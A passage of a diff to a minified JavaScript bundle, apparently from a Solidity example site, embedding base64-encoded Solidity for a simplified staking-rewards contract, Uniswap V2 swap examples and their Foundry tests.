CgogICAgZnVuY3Rpb24gcmV3YXJkUGVyVG9rZW4oKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZFBlclRva2VuU3RvcmVkCiAgICAgICAgICAgICsgKHJld2FyZFJhdGUgKiAobGFzdFRpbWVSZXdhcmRBcHBsaWNhYmxlKCkgLSB1cGRhdGVkQXQpICogMWUxOCkKICAgICAgICAgICAgICAgIC8gdG90YWxTdXBwbHk7CiAgICB9CgogICAgZnVuY3Rpb24gc3Rha2UodWludDI1NiBfYW1vdW50KSBleHRlcm5hbCB1cGRhdGVSZXdhcmQobXNnLnNlbmRlcikgewogICAgICAgIHJlcXVpcmUoX2Ftb3VudCA+IDAsICJhbW91bnQgPSAwIik7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50KTsKICAgICAgICBiYWxhbmNlT2ZbbXNnLnNlbmRlcl0gKz0gX2Ftb3VudDsKICAgICAgICB0b3RhbFN1cHBseSArPSBfYW1vdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgX2Ftb3VudCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICByZXF1aXJlKF9hbW91bnQgPiAwLCAiYW1vdW50ID0gMCIpOwogICAgICAgIGJhbGFuY2VPZlttc2cuc2VuZGVyXSAtPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IF9hbW91bnQ7CiAgICAgICAgc3Rha2luZ1Rva2VuLnRyYW5zZmVyKG1zZy5zZW5kZXIsIF9hbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVhcm5lZChhZGRyZXNzIF9hY2NvdW50KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgKICAgICAgICAgICAgKAogICAgICAgICAgICAgICAgYmFsYW5jZU9mW19hY2NvdW50XQogICAgICAgICAgICAgICAgICAgICogKHJld2FyZFBlclRva2VuKCkgLSB1c2VyUmV3YXJkUGVyVG9rZW5QYWlkW19hY2NvdW50XSkKICAgICAgICAgICAgKSAvIDFlMTgKICAgICAgICApICsgcmV3YXJkc1tfYWNjb3VudF07CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0UmV3YXJkKCkgZXh0ZXJuYWwgdXBkYXRlUmV3YXJkKG1zZy5zZW5kZXIpIHsKICAgICAgICB1aW50MjU2IHJld2FyZCA9IHJld2FyZHNbbXNnLnNlbmRlcl07CiAgICAgICAgaWYgKHJld2FyZCA+IDApIHsKICAgICAgICAgICAgcmV3YXJkc1ttc2cuc2VuZGVyXSA9IDA7CiAgICAgICAgICAgIHJld2FyZHNUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBzZXRSZXdhcmRzRHVyYXRpb24odWludDI1NiBfZHVyYXRpb24pIGV4dGVybmFsIG9ubHlPd25lciB7CiAgICAgICAgcmVxdWlyZShmaW5pc2hBdCA8IGJsb2NrLnRpbWVzdGFtcCwgInJld2FyZCBkdXJhdGlvbiBub3QgZmluaXNoZWQiKTsKICAgICAgICBkdXJhdGlvbiA9IF9kdXJhdGlvbjsKICAgIH0KCiAgICBmdW5jdGlvbiBub3RpZnlSZXdhcmRBbW91bnQodWludDI1NiBfYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgb25seU93bmVyCiAgICAgICAgdXBkYXRlUmV3YXJkKGFkZHJlc3MoMCkpCiAgICB7CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+PSBmaW5pc2hBdCkgewogICAgICAgICAgICByZXdhcmRSYXRlID0gX2Ftb3VudCAvIGR1cmF0aW9uOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHVpbnQyNTYgcmVtYWluaW5nUmV3YXJkcyA9IChmaW5pc2hBdCAtIGJsb2NrLnRpbWVzdGFtcCkgKiByZXdhcmRSYXRlOwogICAgICAgICAgICByZXdhcmRSYXRlID0gKF9hbW91bnQgKyByZW1haW5pbmdSZXdhcmRzKSAvIGR1cmF0aW9uOwogICAgICAgIH0KCiAgICAgICAgcmVxdWlyZShyZXdhcmRSYXRlID4gMCwgInJld2FyZCByYXRlID0gMCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHJld2FyZFJhdGUgKiBkdXJhdGlvbiA8PSByZXdhcmRzVG9rZW4uYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLAogICAgICAgICAgICAicmV3YXJkIGFtb3VudCA+IGJhbGFuY2UiCiAgICAgICAgKTsKCiAgICAgICAgZmluaXNoQXQgPSBibG9jay50aW1lc3RhbXAgKyBkdXJhdGlvbjsKICAgICAgICB1cGRhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CiAgICB9CgogICAgZnVuY3Rpb24gX21pbih1aW50MjU2IHgsIHVpbnQyNTYgeSkgcHJpdmF0ZSBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCA8PSB5ID8geCA6IHk7CiAgICB9Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="}],Ym=`

                    This is a minimal example of a contract that rewards users for staking their token.

                    Code is a stripped down version of Synthetix StakingRewards.sol

                    Staking Rewards

                    // SPDX-License-Identifier: MIT
@@ -5211,7 +5211,7 @@ Topics
         external
         returns (bool);
 }
-
                    `,Rm=({prev:s,next:a})=>r.jsx(u,{version:Bm,title:Gm,description:Vm,html:Ym,prev:s,next:a,codes:fm}),Xm="0.8.24",vm="Uniswap V2 Swap",Nm="Uniswap V2 swap",Hm=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVVuaXN3YXBWMlJvdXRlciBwcml2YXRlIHJvdXRlciA9IElVbmlzd2FwVjJSb3V0ZXIoVU5JU1dBUF9WMl9ST1VURVIpOwogICAgSUVSQzIwIHByaXZhdGUgd2V0aCA9IElFUkMyMChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHVpbnQyNTYgYW1vdW50SW4sIHVpbnQyNTYgYW1vdW50T3V0TWluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBXRVRIIGFtb3VudCwgYW1vdW50c1sxXSA9IERBSSBhbW91bnQKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4odWludDI1NiBhbW91bnRJbiwgdWludDI1NiBhbW91bnRPdXRNaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBkYWkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDMpOwogICAgICAgIHBhdGhbMF0gPSBEQUk7CiAgICAgICAgcGF0aFsxXSA9IFdFVEg7CiAgICAgICAgcGF0aFsyXSA9IFVTREM7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBEQUkgYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1sxXSA9IFdFVEggYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1syXSA9IFVTREMgYW1vdW50CiAgICAgICAgcmV0dXJuIGFtb3VudHNbMl07CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIHRvIERBSQogICAgZnVuY3Rpb24gc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluTWF4KTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudE91dERlc2lyZWQsIGFtb3VudEluTWF4LCBwYXRoLCBtc2cuc2VuZGVyLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBSZWZ1bmQgV0VUSCB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLCBhbW91bnRJbk1heCwgcGF0aCwgbXNnLnNlbmRlciwgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIERBSSB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICBkYWkudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRzWzBdKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBzd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRJbiwKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbiwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKCiAgICBmdW5jdGlvbiBzd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heCwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJV0VUSCBpcyBJRVJDMjAgewogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGU7CiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0K"},{fileName:"UniswapV2SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCB7CiAgICBVbmlzd2FwVjJTd2FwRXhhbXBsZXMsCiAgICBJRVJDMjAsCiAgICBJV0VUSAp9IGZyb20gIi4uLy4uLy4uL3NyYy9kZWZpL3VuaXN3YXAtdjIvVW5pc3dhcFYyU3dhcEV4YW1wbGVzLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJTd2FwRXhhbXBsZXNUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYyU3dhcEV4YW1wbGVzIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMlN3YXBFeGFtcGxlcygpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgZnVuY3Rpb24gdGVzdFN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IHdldGhBbW91bnQgPSAxZTE4OwogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogd2V0aEFtb3VudH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHdldGhBbW91bnQsIGRhaUFtb3VudE1pbik7CgogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIiwgZGFpQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZShkYWlBbW91bnRPdXQsIGRhaUFtb3VudE1pbiwgImFtb3VudCBvdXQgPCBtaW4iKTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHRlc3RTd2FwTXVsdGlIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50TWluID0gMTsKICAgICAgICB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50SW4od2V0aEFtb3VudCwgZGFpQW1vdW50TWluKTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRJbiA9IDFlMTg7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRJbik7CgogICAgICAgIHVpbnQyNTYgdXNkY0Ftb3VudE91dE1pbiA9IDE7CiAgICAgICAgdWludDI1NiB1c2RjQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4oZGFpQW1vdW50SW4sIHVzZGNBbW91bnRPdXRNaW4pOwoKICAgICAgICBjb25zb2xlMi5sb2coIlVTREMiLCB1c2RjQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZSh1c2RjQW1vdW50T3V0LCB1c2RjQW1vdW50T3V0TWluLCAiYW1vdW50IG91dCA8IG1pbiIpOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCAtPiBEQUkKICAgIGZ1bmN0aW9uIHRlc3RTd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiB3ZXRoQW1vdW50fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIHdldGhBbW91bnQpOwoKICAgICAgICB1aW50MjU2IGRhaUFtb3VudERlc2lyZWQgPSAxZTE4OwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dChkYWlBbW91bnREZXNpcmVkLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBkYWlBbW91bnRPdXQsIGRhaUFtb3VudERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIKICAgICAgICApOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIEJ1eSAxMDAgREFJCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRPdXQgPSAxMDAgKiAxZTE4OwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoZGFpQW1vdW50T3V0LCB3ZXRoQW1vdW50KTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRPdXQpOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dERlc2lyZWQgPSAxZTY7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPQogICAgICAgICAgICB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRPdXQoYW1vdW50T3V0RGVzaXJlZCwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcSgKICAgICAgICAgICAgYW1vdW50T3V0LCBhbW91bnRPdXREZXNpcmVkLCAiYW1vdW50IG91dCAhPSBhbW91bnQgb3V0IGRlc2lyZWQiCiAgICAgICAgKTsKICAgIH0KfQo="}],Fm=`

                    swapExactTokensForTokens sells all tokens for another.

                    +`,Rm=({prev:s,next:a})=>r.jsx(A,{version:Bm,title:Gm,description:Vm,html:Ym,prev:s,next:a,codes:fm}),Xm="0.8.24",vm="Uniswap V2 Swap",Nm="Uniswap V2 swap",Hm=[{fileName:"UniswapV2SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVVuaXN3YXBWMlJvdXRlciBwcml2YXRlIHJvdXRlciA9IElVbmlzd2FwVjJSb3V0ZXIoVU5JU1dBUF9WMl9ST1VURVIpOwogICAgSUVSQzIwIHByaXZhdGUgd2V0aCA9IElFUkMyMChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHVpbnQyNTYgYW1vdW50SW4sIHVpbnQyNTYgYW1vdW50T3V0TWluKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBhbW91bnRPdXQpCiAgICB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW4pOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBXRVRIIGFtb3VudCwgYW1vdW50c1sxXSA9IERBSSBhbW91bnQKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPi